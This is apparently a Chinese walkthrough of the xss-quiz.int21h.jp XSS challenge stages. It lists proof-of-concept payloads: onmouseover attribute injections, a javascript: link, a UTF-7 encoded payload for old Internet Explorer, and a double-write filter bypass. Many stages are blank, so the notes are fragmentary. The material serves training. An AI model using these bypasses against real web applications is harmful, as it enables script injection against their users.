XSS Challenges通关笔记

xss-quiz.int21h.jp平台

1


2

 ">

自此以下使用工具传递参数避免被编码

3


注入点在p2参数回显上

4

">

注入点在p3参数的回显上

5

">

水题

6

" onmouseover=alert(document.domain) class="a

参数被转义 故使用事件触发

7

" onmouseover=alert(document.domain) "

与第六关一样

8

javascript:alert(document.domain);

填入链接自动生成a标签url 因为过滤了尖括号等 构造伪协议点击触发
javascript:表示触发默认动作时,执行一段JavaScript代码

9

raw:  " onmouseover=alert(document.domain)>
utf-7:  +/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4- 
提交

复现

回显

仅IE浏览器支持UTF-7编码 须在IE下测试

10

111">

双写绕过

11

12

13

14

15

参考链接:

你可能感兴趣的:(XSS Challenges通关笔记)